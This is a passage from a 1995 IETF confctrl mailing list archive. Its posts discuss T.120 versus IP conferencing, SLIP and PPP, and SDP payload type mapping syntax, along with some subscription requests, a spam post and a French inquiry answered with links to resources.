more work, more opportunities for bugs, more memory wasted, etc.

Dan

From owner-confctrl@ISI.EDU  Wed Jul 26 15:12:51 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA16146>; Wed, 26 Jul 1995 06:13:06 -0700
Received: from zaphod.axion.bt.co.uk by venera.isi.edu (5.65c/5.61+local-22)
	id <AA16142>; Wed, 26 Jul 1995 06:13:04 -0700
Message-Id: <199507261313.AA16142@venera.isi.edu>
Received: from bt-web.bt.co.uk by zaphod.axion.bt.co.uk via DECnet inbound channel id <sg.21226-0@zaphod.axion.bt.co.uk>;
          Wed, 26 Jul 1995 14:12:51 +0100
X-Vms-To: R11F::ISI.EDU::CONFCTRL
To: confctrl
From: courtenay_j_m <courtenay_j_m@bt-web.bt.co.uk>
Subject: RE: MMUSIC/ITU Interoperability Scenarios
Date: Wed, 26 Jul 1995 14:12:51 +0100

Ari wrote:

> 	T-120 is a great example of re-invention, duplication of 
> 	function and creeping featurism to add "data" exchange to the 
> 	H.320 suite. Some have even seriously suggested running TCP/IP over
> 	the T.120 data pipe...

I have in front of me a *draft* (note) of a *proposed* (note) first 
revision of T.123, which has the following statement (which is not 
intended to form part of the formal document, nor is it likely it ever 
will):

"These issues deserve further discussion:

...

"E. LAN access protocols, like SLIP or PPP, are intentionally
    omitted as being a poor choice for point-to-point connections among
    terminals and MCUs."

Would anyone care to pass comment on this?

Regards,
Mark

--
J Mark Courtenay                    tel. +44 1473 645423
MLB 4 15                            fax. +44 1473 620101
BT Labs, Martlesham Heath
Ipswich, UK IP5 7RE                 courtenay_j_m@bt-web.bt.co.uk


From owner-confctrl@ISI.EDU  Wed Jul 26 05:08:37 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA00619>; Wed, 26 Jul 1995 12:10:42 -0700
Received: from ix4.ix.netcom.com by venera.isi.edu (5.65c/5.61+local-22)
	id <AA00615>; Wed, 26 Jul 1995 12:10:41 -0700
Received: from ix-pa7-15.ix.netcom.com by ix4.ix.netcom.com (8.6.12/SMI-4.1/Netcom)
	id MAA14566; Wed, 26 Jul 1995 12:08:37 -0700
Date: Wed, 26 Jul 1995 12:08:37 -0700
Message-Id: <199507261908.MAA14566@ix4.ix.netcom.com>
X-Sender: krechmer@popd.ix.netcom.com
X-Mailer: Windows Eudora Version 2.0.3
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: confctrl
From: krechmer@popd.ix.netcom.com (Ken Krechmer)
Subject: 

I have taken the liberty of sending the MMUSIC minutes from the 33rd IETF
Stockholm, Sweden 18th July 1995 to the T.120 reflector in the small hope of
promoting useful dialog.  Many years ago when the concepts of circuit and
packet mode services were first explained to me, I did not appreciate the
religious aspects.  Now I do.

Ken Krechmer
Communications Standards Review


From owner-confctrl@ISI.EDU  Wed Jul 26 14:13:03 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA22792>; Wed, 26 Jul 1995 21:13:13 -0700
Received: from precept.com (hydra.precept.com) by venera.isi.edu (5.65c/5.61+local-22)
	id <AA22788>; Wed, 26 Jul 1995 21:13:13 -0700
Received: by precept.com (5.x/SMI-4.1)
	id AA25879; Wed, 26 Jul 1995 21:13:04 -0700
Date: Wed, 26 Jul 1995 21:13:03 -0700 (PDT)
From: Stephen Casner <casner@precept.com>
To: mark.handley@cs.ucl.ac.uk
Cc: Valerie Lasker <valerie@precept.com>, confctrl
Subject: SDP questions
Message-Id: <Pine.SOL.3.91.950726205945.23572V-100000@hydra.precept.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Mark,

The RTP profile allocates some of the payload format type space for
dynamically defined formats, with the expectation that session control
protocols will provide a means to bind some payload format definition
to a payload type code.  Shouldn't SDP provide such a mechanism?  I
realize there are several pieces that need to be defined to complete
it, such as the structure of a payload format definition.

The SDP spec lists the format names for audio and video, but there is
not a 1-1 mapping between those and payload format codes.  In
particular, there is no code for L8, and there are two codes for L16
(at 8000 and 16000 Hz).

Second item: session control applications may need to store locally
some attributes of a session that need not or should not be
transmitted to other participants in the session.  It would be
convenient to store those attributes in the session description, but
with some indicator that they are local.  The instance we noted was
for attributes that might be included with "a=", so the first guess
might be to specify another letter that meant local attribute.  But it
seems that there might also be a need to store locally some
information that would normally be coded in other field types.

							-- Steve


From owner-confctrl@ISI.EDU  Thu Jul 27 10:53:27 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA29970>; Thu, 27 Jul 1995 01:58:57 -0700
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-22)
	id <AA29966>; Thu, 27 Jul 1995 01:58:51 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA25683>; Thu, 27 Jul 1995 01:58:47 -0700
Received: from sol.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.29969-0@bells.cs.ucl.ac.uk>; Thu, 27 Jul 1995 09:53:30 +0100
To: courtenay_j_m <courtenay_j_m@bt-web.bt.co.uk>
Cc: confctrl
Subject: Re: MMUSIC/ITU Interoperability Scenarios
In-Reply-To: Your message of "Wed, 26 Jul 95 14:12:51 BST." <199507261313.AA16142@venera.isi.edu>
Date: Thu, 27 Jul 95 09:53:27 +0100
Message-Id: <5932.806835207@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>



 >> 	T-120 is a great example of re-invention, duplication of 
 >> 	function and creeping featurism to add "data" exchange to the 
 >> 	H.320 suite. Some have even seriously suggested running TCP/IP over
 
 >I have in front of me a *draft* (note) of a *proposed* (note) first 
 >revision of T.123, which has the following statement (which is not 
 >intended to form part of the formal document, nor is it likely it ever 
 >will):

 >"These issues deserve further discussion:
 >...
 
 >"E. LAN access protocols, like SLIP or PPP, are intentionally
 >    omitted as being a poor choice for point-to-point connections among
 >    terminals and MCUs."

 >Would anyone care to pass comment on this?

 Mark

yes

SLIP and PPP are reasonable serial line protocols developed to provide
commonality where HDLC had failed, but are fairly irrelevant to the
layers that would be considered when discuissing interworking of LAN
based conferncing using RTP/UDP and IP, and ISDN based conferncing
using H.320/H.221 and T.GCC/MCS...
 
I'm giving a talk at BT labs on september 6 on distributed multimedia 
and could clarify things then if you like...

the phrase "LAN access protocols" is inappropriate when describing
SLIP and PPP - SLIP is for dial up access to carry IP (amongst other
things) from a PC over (typicaslly) a phone line to another computer
(which might happen to then route the IP packets onto a LAN, but often
as not is a compuserve or other server site) 

PPP was orgiinally aimed at point-to-point leased line serial line
supprot between _routers_ 

neither has much to do with any discussion of conferecnice control
etc....although i guess people running IP over SLIP or PPP o nan ISDN
line might get a bit confused over the options - i suggest the
appication of the ITU, ATM or ISO OSI layer models will clarify things
quicky!

 jon


From owner-confctrl@ISI.EDU  Tue Aug  8 21:21:27 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA18176>; Tue, 8 Aug 1995 10:26:31 -0700
Received: from ceres.fokus.gmd.de by venera.isi.edu (5.65c/5.61+local-22)
	id <AA18172>; Tue, 8 Aug 1995 10:26:29 -0700
Message-Id: <199508081726.AA18172@venera.isi.edu>
Received: from lupus (actually lupus.fokus.gmd.de) by ceres.fokus.gmd.de 
          with SMTP (PP-ICR1v5); Tue, 8 Aug 1995 19:22:14 +0200
X-Mailer: exmh version 1.6.1 5/23/95
To: Stephen Casner <casner@precept.com>
Cc: mark.handley@cs.ucl.ac.uk, Valerie Lasker <valerie@precept.com>, confctrl
From: Henning Schulzrinne <schulzrinne@fokus.gmd.de>
X-Url: http://www.fokus.gmd.de/step/hgs/
Subject: Re: SDP questions
In-Reply-To: Your message of "Wed, 26 Jul 1995 21:13:03 PDT." <Pine.SOL.3.91.950726205945.23572V-100000@hydra.precept.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Tue, 08 Aug 1995 19:21:27 +0200
Sender: schulzrinne@fokus.gmd.de

> Mark,
> 
> The RTP profile allocates some of the payload format type space for
> dynamically defined formats, with the expectation that session control
> protocols will provide a means to bind some payload format definition
> to a payload type code.  Shouldn't SDP provide such a mechanism?  I
> realize there are several pieces that need to be defined to complete
> it, such as the structure of a payload format definition.
> 
> The SDP spec lists the format names for audio and video, but there is
> not a 1-1 mapping between those and payload format codes.  In
> particular, there is no code for L8, and there are two codes for L16
> (at 8000 and 16000 Hz).

As Steve pointed out, the encoding names are not meant to completely 
specify a payload format. For video, this distinction can be generally 
ignored, for audio it is critical. There are currently no names for the 
full format (for audio, encoding + channel count + sampling rate + 
maybe packetization).

Since it is generally not good to have two 'almost equal' lists, 
particularly when IANA has to decide whether there are one or two, I 
would suggest removing the encoding list from the SDP spec entirely. 
There are two cases for RTP:

1) standard format with a fixed (profile/IANA-assigned) payload type;
   we might as well use the number for that in the SDP description 
(avoids
   a separate name space) and map to user-readable names at user agents.

2) dynamic format with some randomly selected payload type. Here, use a
   description like L16,2,11025 for stereo at 11025 Hz linear.

Side issue:
There are some issues with payload formats that get frozen, i.e., 
acquire their own fixed payload type later. (If you just say 'payload 
type 17', and 17 was defined after the media agent was coded, the media 
agent would be clueless, even though it might support the particular 
combination of encoding, channel count, and sampling rate.) This 
problem can be avoided if the whole specification (e.g., L16,2,11025) 
is always included, even for 'fixed' codes. This allows media 
applications that don't know about a new assignment to work if they 
support the format itself. Obviously, redundancy also adds the 
possibility for lack of consistency.

Henning


From owner-confctrl@ISI.EDU  Wed Aug  9 17:35:31 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA09310>; Wed, 9 Aug 1995 08:36:25 -0700
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-22)
	id <AA09306>; Wed, 9 Aug 1995 08:36:23 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA04570>; Wed, 9 Aug 1995 08:36:21 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.21494-0@bells.cs.ucl.ac.uk>; Wed, 9 Aug 1995 16:35:37 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
Organisation: University College London, CS Dept.
Phone: +44 171 419 3666
To: Henning Schulzrinne <schulzrinne@fokus.gmd.de>
Cc: Stephen Casner <casner@precept.com>, Valerie Lasker <valerie@precept.com>,
        confctrl
Subject: Re: SDP questions
In-Reply-To: Your message of "Tue, 08 Aug 95 19:21:27 +0100."
Date: Wed, 09 Aug 95 16:35:31 +0100
Message-Id: <8204.807982531@cs.ucl.ac.uk>
Sender: M.Handley@cs.ucl.ac.uk

>> casner@precept.com writes:
>> The RTP profile allocates some of the payload format type space for
>> dynamically defined formats, with the expectation that session control
>> protocols will provide a means to bind some payload format definition
>> to a payload type code.  Shouldn't SDP provide such a mechanism?  I
>> realize there are several pieces that need to be defined to complete
>> it, such as the structure of a payload format definition.

Yes, SDP does appear to be the natural place to define these dynamic
types.

>> The SDP spec lists the format names for audio and video, but there is
>> not a 1-1 mapping between those and payload format codes.  In
>> particular, there is no code for L8, and there are two codes for L16
>> (at 8000 and 16000 Hz).

Agreed.

>schulzrinne@fokus.gmd.de writes:
>As Steve pointed out, the encoding names are not meant to completely 
>specify a payload format. For video, this distinction can be generally 
>ignored, for audio it is critical. There are currently no names for the 
>full format (for audio, encoding + channel count + sampling rate + 
>maybe packetization).
>
>Since it is generally not good to have two 'almost equal' lists, 
>particularly when IANA has to decide whether there are one or two, I 
>would suggest removing the encoding list from the SDP spec entirely. 

I don't believe we can remove the encoding list entirely because there
are a signifcant (i.e. more than one) number of none RTP encoding
types.  However, now we have the transport type field in SDP, we can
hang the SDP RTP-based encoding types off the RTP AVT profile.  I
agree this should be done.

>There are two cases for RTP:

>1) standard format with a fixed (profile/IANA-assigned) payload type;
>   we might as well use the number for that in the SDP description 
>(avoids
>   a separate name space) and map to user-readable names at user agents.

This is profile dependant.  The RTP spec states "typically an
application will operate under only one profile...".  This may be the
case for apps, but not for SDP.  If we're going to use the payload
type number you'd better specify which profile applies too, or someone
sooner or later is going to end up writing an app that doesn't use the
default profile for the SDP media type, and then SDP would not know
which tool to start.  Something like "AVP-17" would solve the problem.

However, this is a little too implicit for my liking.

>2) dynamic format with some randomly selected payload type. Here, use a
>   description like L16,2,11025 for stereo at 11025 Hz linear.

If it's a dynamic format, don't you need to tell the app what the
payload type number to encoding/sample-rate/no_of_chans mapping is?  I
thought this was the point of Steve's message?

>Side issue:
>There are some issues with payload formats that get frozen, i.e., 
>acquire their own fixed payload type later. (If you just say 'payload 
>type 17', and 17 was defined after the media agent was coded, the media 
>agent would be clueless, even though it might support the particular 
>combination of encoding, channel count, and sampling rate.) This 
>problem can be avoided if the whole specification (e.g., L16,2,11025) 
>is always included, even for 'fixed' codes. This allows media 
>applications that don't know about a new assignment to work if they 
>support the format itself. 

Yes, this was what I was thinking too.

>Obviously, redundancy also adds the 
>possibility for lack of consistency.

This is a whole new headache we're currently going through with our
audio tool :-)



Based on your suggestions, I favour something like:

m=audio 12346 RTP PCMU,8000

or

m=audio 12345 RTP L16,11025/2
a=ptype:97

Thus the sample rate is a compulsory part of audio media types.  The
number of channels could conceivably be used by some other payload
types (not just RTP audio) so we make it generic to all media types
and optional defaulting to one. If someone tries to use the number of
channels field for media where it's meaningless (such as RTP video)
then this is an error.  We already have this "/" notation for
addresses and ports, so allowing it for encodings is fairly natural.

How this works with heirarchical encodings probably requires some more
thought, and certainly some explanation :-)


We then allow the ptype attribute to specify a payload type number
should anyone need SDP to specify this mapping.

Is there a requirement to use SDP to define a whole set of dynamic
mappings?

If so I guess we'd need a set of mapping attribute something like:

a=ptmap:L8,8000 96
a=ptmap:L8,11025 97
a=ptmap:L16,8000 98
a=ptmap:L16,11025 99
etc...

Comments?

Mark





From owner-confctrl@ISI.EDU  Wed Aug  9 19:56:36 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA10542>; Wed, 9 Aug 1995 09:02:04 -0700
Received: from ceres.fokus.gmd.de by venera.isi.edu (5.65c/5.61+local-22)
	id <AA10533>; Wed, 9 Aug 1995 09:02:02 -0700
Message-Id: <199508091602.AA10533@venera.isi.edu>
Received: from lupus (actually lupus.fokus.gmd.de) by ceres.fokus.gmd.de 
          with SMTP (PP-ICR1v5); Wed, 9 Aug 1995 17:57:24 +0200
X-Mailer: exmh version 1.6.2 8/09/95
To: Mark Handley <M.Handley@cs.ucl.ac.uk>
Cc: Stephen Casner <casner@precept.com>, Valerie Lasker <valerie@precept.com>,
        confctrl
From: Henning Schulzrinne <schulzrinne@fokus.gmd.de>
X-Url: http://www.fokus.gmd.de/step/hgs/
Subject: Re: SDP questions
In-Reply-To: Your message of "Wed, 09 Aug 1995 16:35:31 BST." <8204.807982531@cs.ucl.ac.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Wed, 09 Aug 1995 17:56:36 +0200
Sender: schulzrinne@fokus.gmd.de


> 
> >2) dynamic format with some randomly selected payload type. Here, use a
> >   description like L16,2,11025 for stereo at 11025 Hz linear.
> 
> If it's a dynamic format, don't you need to tell the app what the
> payload type number to encoding/sample-rate/no_of_chans mapping is?  I
> thought this was the point of Steve's message?

Yes, clearly.


> 
> Based on your suggestions, I favour something like:
> 
> m=audio 12346 RTP PCMU,8000
> 
> or
> 
> m=audio 12345 RTP L16,11025/2
> a=ptype:97
> 
> Thus the sample rate is a compulsory part of audio media types.  The
> number of channels could conceivably be used by some other payload
> types (not just RTP audio) so we make it generic to all media types
> and optional defaulting to one. If someone tries to use the number of
> channels field for media where it's meaningless (such as RTP video)
> then this is an error.  We already have this "/" notation for
> addresses and ports, so allowing it for encodings is fairly natural.

I don't see the benefit of using a slash separator rather than a comma 
list with one, two or three parameters (encoding only for video, two or 
three parameters for audio). Also, for video, 'sampling rate' is 
probably an inappropriate term (or did you want to put the frame 
count/second there?).

> 
> Is there a requirement to use SDP to define a whole set of dynamic
> mappings?

We have little experience with dynamic typing, but I have the feeling 
that once you want one, you may need a whole batch, so I'm 
uncomfortable with a single one. However, this raises another issue: 
Given dynamic adjustment of media types (to account for network load 
variations, say) by either human or some algorithm, how meaningful are 
the format descriptions, except as the initial starting value. Just 
because the sd entry says PCMU,8000, I can't assume that it's still 
PCMU,8000 when I start my receiver. This may be more something that the 
spec should clarify; specifying a list of possible encodings is 
probably overkill in the absence of a negotiation mechanism.

> 
> If so I guess we'd need a set of mapping attribute something like:
> 
> a=ptmap:L8,8000 96
> a=ptmap:L8,11025 97
> a=ptmap:L16,8000 98
> a=ptmap:L16,11025 99
> etc...

Reasonable, except that the channel count is missing.

> 
> Mark
> 

Henning



From owner-confctrl@ISI.EDU  Wed Sep  6 11:14:50 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA24940>; Wed, 6 Sep 1995 02:15:39 -0700
Received: from nice.etri.re.kr (nice1.etri.re.kr) by venera.isi.edu (5.65c/5.61+local-22)
	id <AA24934>; Wed, 6 Sep 1995 02:15:04 -0700
Received: from p_ain1 ([129.254.118.151]) by nice.etri.re.kr (8.6.9H1/8.6.9) with SMTP id SAA08939 for <confctrl@isi.edu>; Wed, 6 Sep 1995 18:04:27 +0900
Message-Id: <199509060904.SAA08939@nice.etri.re.kr>
Date: Wed, 06 Sep 95 18:14:50 -0700
From: Min Su Cho <mscho@nice.etri.re.kr>
X-Mailer: Mozilla 1.2N (Windows; I; 16bit)
Mime-Version: 1.0
To: confctrl
Subject: To receive the mail service Multiparty Multimedia Session Control WG
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=us-ascii

I hope to receive the mail service MMSC WG.



From owner-confctrl@ISI.EDU  Wed Sep  6 13:47:53 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA26307>; Wed, 6 Sep 1995 04:47:05 -0700
Received: from nice.etri.re.kr (nice1.etri.re.kr) by venera.isi.edu (5.65c/5.61+local-22)
	id <AA26302>; Wed, 6 Sep 1995 04:46:49 -0700
Received: from p_ain1 ([129.254.118.151]) by nice.etri.re.kr (8.6.9H1/8.6.9) with SMTP id UAA11376 for <confctrl@isi.edu>; Wed, 6 Sep 1995 20:37:33 +0900
Message-Id: <199509061137.UAA11376@nice.etri.re.kr>
Date: Wed, 06 Sep 95 20:47:53 -0700
From: Min Su Cho <mscho@nice.etri.re.kr>
X-Mailer: Mozilla 1.2N (Windows; I; 16bit)
Mime-Version: 1.0
To: confctrl
Subject: Registeration : WG Mail Service
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=us-ascii

I hope to receive the mail service of multiparty multimedia 
session control WG within the IETF.

E-Mail : mscho@nice.etri.re.kr



From owner-confctrl@ISI.EDU  Tue Sep 12 07:42:02 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA17380>; Tue, 12 Sep 1995 15:00:50 -0700
Received: from phantom.cortland.com (www.ilsi.com) by venera.isi.edu (5.65c/5.61+local-22)
	id <AA17351>; Tue, 12 Sep 1995 15:00:39 -0700
Message-Id: <199509122200.AA17351@venera.isi.edu>
Received: from  (rasa11.cortland.com) by phantom.cortland.com; Tue, 12 Sep 1995 14:50:58 -0700    
Date: Tue, 12 Sep 95 14:42:02 -0700
From: ILSI <gene@ilsi.com>
Organization: Internet List Services Inc.
X-Mailer: Mozilla 1.1N (Windows; I; 16bit)
Mime-Version: 1.0
To: confctrl
Subject: Take a look...
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=us-ascii

Hi,



        I found your homepage, really enjoyed it, and would like to use 
it in my database.  Time permitting, please look at my homepage and let 
me know if you would like to be added to my resource. I have created this 
database to assist people who have, or want, homepages on the internet,  
or for people who want an off-line reference to the World Wide Web.   If 
possible, would you place a link from your site to my homepage,  or if 
you want to be included in this reference, please visit me  at 
http://www.ilsi.com/ilsi5.html



     Thank you,

     Gene



Internet List Services, Incorporated





From owner-confctrl@ISI.EDU  Tue Sep 12 10:01:52 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA24065>; Tue, 12 Sep 1995 17:20:24 -0700
Received: from phantom.cortland.com (www.ilsi.com) by venera.isi.edu (5.65c/5.61+local-22)
	id <AA24061>; Tue, 12 Sep 1995 17:20:21 -0700
Message-Id: <199509130020.AA24061@venera.isi.edu>
Received: from  (rasa11.cortland.com) by phantom.cortland.com; Tue, 12 Sep 1995 17:10:48 -0700    
Date: Tue, 12 Sep 95 17:01:52 -0700
From: ILSI <gene@ilsi.com>
Organization: Internet List Services Inc.
X-Mailer: Mozilla 1.1N (Windows; I; 16bit)
Mime-Version: 1.0
To: confctrl
Subject: Take a look...
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=us-ascii

Hi,



        I found your homepage, really enjoyed it, and would like to use 
it in my database.  Time permitting, please look at my homepage and let 
me know if you would like to be added to my resource. I have created this 
database to assist people who have, or want, homepages on the internet,  
or for people who want an off-line reference to the World Wide Web.   If 
possible, would you place a link from your site to my homepage,  or if 
you want to be included in this reference, please visit me  at 
http://www.ilsi.com/ilsi5.html



     Thank you,

     Gene



Internet List Services, Incorporated





From touch@ISI.EDU  Tue Sep 12 12:04:43 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA28125>; Tue, 12 Sep 1995 19:06:09 -0700
Received: from ash-a.isi.edu by venera.isi.edu (5.65c/5.61+local-22)
	id <AA28120>; Tue, 12 Sep 1995 19:06:00 -0700
Date: Tue, 12 Sep 1995 19:04:43 -0700
From: touch@ISI.EDU
Posted-Date: Tue, 12 Sep 1995 19:04:43 -0700
Message-Id: <199509130204.AA03171@ash-a.isi.edu>
Received: by ash-a.isi.edu (5.65c/4.0.3-4)
	id <AA03171>; Tue, 12 Sep 1995 19:04:43 -0700
To: confctrl, gene@ilsi.com
Subject: Re:  Take a look...

The following is clearly a spammed mail message.
Please ignore it.

> Date: Tue, 12 Sep 95 14:42:02 -0700
> From: ILSI <gene@ilsi.com>
> Organization: Internet List Services Inc.
> To: confctrl@ISI.EDU
> Subject: Take a look...
> 
> Hi,
> 
>         I found your homepage, really enjoyed it, and would like to use 
> it in my database.  Time permitting, please look at my homepage and let 
> me know if you would like to be added to my resource. I have created this 
> database to assist people who have, or want, homepages on the internet,  
> or for people who want an off-line reference to the World Wide Web.   If 
> possible, would you place a link from your site to my homepage,  or if 
> you want to be included in this reference, please visit me  at 
> http://www.ilsi.com/ilsi5.html
> 
> 
> 
>      Thank you,
> 
>      Gene
> 
> 
> 
> Internet List Services, Incorporated
> 


From owner-confctrl@ISI.EDU  Thu Sep 21 06:55:08 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA12414>; Thu, 21 Sep 1995 04:56:55 -0700
Received: from newton.ctsn.dga.fr by venera.isi.edu (5.65c/5.61+local-22)
	id <AA12410>; Thu, 21 Sep 1995 04:56:50 -0700
Received: from [193.48.232.75] by newton.ctsn.dga.fr via SMTP (931110.SGI/930416.SGI.AUTO)
	for confctrl@isi.edu id AA07521; Thu, 21 Sep 95 13:54:35 +0200
Date: Thu, 21 Sep 95 13:55:08 PDT
From: Chantal PONS <mcp@newton.ctsn.dga.fr>
Subject: confctrl ??
To: confctrl
X-Mailer: Chameleon - TCP/IP for Windows by NetManage, Inc.
Message-Id: <Chameleon.4.01.950921135817.mcp@mcp.newton.ctsn.dga.fr>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Bonjour a tous,

puis-je avoir davantage de renseignemetns sur la mailing list confctrl :
theme, participants, objectifs, FAQS, quelle est le type de mail recu  ... ? y 
-a-t il un news group, un http ?

Merci

:-) Chantal PONS
              o     o
               \|||/
               (o o)
-----------oOO--(_)--OOo--------------------------------
09/21/95

mcp@newton.ctsn.dga.fr (chantal)

  Marie-Chantal PONS          Tel :(33) 94 16 24 23 
  DCN Toulon - CTSN/TIRN      Fax :(33) 94 16 21 10
  Av. de la Tour Royale  BP 28 
  83800 TOULON Naval
    
pons@eurecom.fr
--------------------------------------------------------




From owner-confctrl@ISI.EDU  Thu Sep 21 14:14:10 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA12667>; Thu, 21 Sep 1995 05:15:08 -0700
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-22)
	id <AA12663>; Thu, 21 Sep 1995 05:15:06 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA02572>; Thu, 21 Sep 1995 05:15:05 -0700
Received: from waffle.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.11735-0@bells.cs.ucl.ac.uk>; Thu, 21 Sep 1995 13:14:06 +0100
To: Chantal PONS <mcp@newton.ctsn.dga.fr>
Cc: confctrl, J.Crowcroft@cs.ucl.ac.uk
Subject: Re: confctrl ??
In-Reply-To: Your message of "Thu, 21 Sep 95 13:55:08 PDT." <Chameleon.4.01.950921135817.mcp@mcp.newton.ctsn.dga.fr>
Date: Thu, 21 Sep 95 13:14:10 +0100
Message-Id: <1220.811685650@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>



 >puis-je avoir davantage de renseignemetns sur la mailing list confctrl :
 >theme, participants, objectifs, FAQS, quelle est le type de mail recu  ... ? y 
 >-a-t il un news group, un http ?
 
 Chantal 

ouai, bien sur: il y a ce group ici, et aussi, becoup de WWW
locations...

par example:
http://www.cs.ucl.ac.uk/mice/mice.html

 jon

voyez aussi:

http://www.research.att.com/mbone-faq.html
http://www.eit.com/techinfo/mbone/mbone.html
http://www.cis.ohio-state.edu/hypertext/faq/usenet/tcl-faq/
http://www.media.mit.edu/
http://www.icbl.hw.ac.uk/bill/telework/telework.html
http://www.emagic.com/netphone/mainblurb.html
ftp://parcftp.parc.xerox.com/pub/ilu/ilu.html
http://www.ucs.ed.ac.uk/~jaw/vconf.html
http://www.eit.com/techinfo/mbone/mbone.html
http://info.mcc.ac.uk/CGU/mmsup.html
ftp://pipkin.lut.ac.uk/pub/MBONE/MultiTalk
http://www.nlm.nih.gov/reports.dir/multicasting.dir/report.html
http://gauss.dur.ac.uk:8000/mm.html

From owner-confctrl@ISI.EDU  Thu Sep 21 01:02:11 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA16701>; Thu, 21 Sep 1995 08:03:16 -0700
Received: from alpha.Xerox.COM by venera.isi.edu (5.65c/5.61+local-22)
	id <AA16697>; Thu, 21 Sep 1995 08:03:15 -0700
Received: from reynaldo.parc.xerox.com ([13.2.116.96]) by alpha.xerox.com with SMTP id <15408(3)>; Thu, 21 Sep 1995 08:02:50 PDT
Received: from localhost by reynaldo.parc.xerox.com with SMTP id <34953>; Thu, 21 Sep 1995 08:02:20 -0700
To: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Cc: Chantal PONS <mcp@newton.ctsn.dga.fr>, confctrl, kerch@parc.xerox.com
Subject: Re: confctrl ?? 
In-Reply-To: Your message of "Thu, 21 Sep 95 05:14:10 PDT."
             <1220.811685650@cs.ucl.ac.uk> 
Date: Thu, 21 Sep 1995 08:02:11 PDT
Sender: Berry Kercheval <kerch@parc.xerox.com>
From: Berry Kercheval <kerch@parc.xerox.com>
Message-Id: <95Sep21.080220pdt.34953@reynaldo.parc.xerox.com>

>>>Jon Crowcroft said:
 >  >puis-je avoir davantage de renseignemetns sur la mailing list confctrl :
 >  >theme, participants, objectifs, FAQS, quelle est le type de mail recu  ...
      ? y 
 >  >-a-t il un news group, un http ?
 >  
 > ouai, bien sur: il y a ce group ici, et aussi, becoup de WWW
 > locations...

Mais, il faut dire, je pense qu'il n-y-a pas un "newsgroup" pour confctrl.

  --berry (Y-a-t'il un mot aimer par l'Academie pour "newsgroup"?)

Berry Kercheval :: Xerox Palo Alto Research Center

From owner-confctrl@ISI.EDU  Wed Oct  4 10:24:04 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA08963>; Wed, 4 Oct 1995 10:24:06 -0700
Received: from mailhost.lut.ac.uk (bgate.lut.ac.uk) by venera.isi.edu (5.65c/5.61+local-22)
	id <AA08955>; Wed, 4 Oct 1995 10:24:04 -0700
Received: from co_mgate_s_106.lut.ac.uk by hpd.lut.ac.uk (15.11/SMI-4.1) 
          id AA17241; Wed, 4 Oct 95 18:23:28 bst
Date: Wed, 4 Oct 95 18:23:28 bst
Message-Id: <9510041723.AA17241@hpd.lut.ac.uk>
X-Mailer: Macintosh Eudora v1.3
To: confctrl
From: Ben Anderson <B.Anderson@lut.ac.uk>
X-Sender: coba@hpd
Subject: mmcc development?

Hi

As part of my PhD I'm trying to build an app that is similar in nature and
intent to ISI's mmcc. Since my main interest is in HCI rather than network
issues, I'd rather not re-invent the wheel. As a result, I'm hoping to use
a fair number of the concepts (such as a variant of ccp) that underlie
mmcc. 

So, I'm interested in whether:

1) mmcc is being developed further, if so in what ways?

2) anyone has had experience of using mmcc and has any advice to offer
about a similar application (I've seen the publications on mmcc's
architecture in the confctrl docs archive).

3) anyone else is doing any similar work with whom I can discuss problems etc.

I'm building entirely in Tcl/Tk (7.4 / 4.0), using tcl-dp (3.3b1 has
multicast extensions built in), and am hoping to be able to make the source
available for testing/playing/evaluation etc etc...hopefully sometime near
the end of 1995. As a rider to that, I'm vaguely hoping that the UK (and
perhaps global if the software is suitably scalable ;-) MBONE community
would be able to take part in the testing and evaluation of the system.

thanks in advance for any pointers,
cheers
Ben
******************************************************************************
This is <a href="http://pipkin.lut.ac.uk/~ben/sig.html">my signature</a>.


From owner-confctrl@ISI.EDU  Tue Oct 10 10:39:35 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA06551>; Tue, 10 Oct 1995 01:41:14 -0700
Received: from ceres.fokus.gmd.de by venera.isi.edu (5.65c/5.61+local-22)
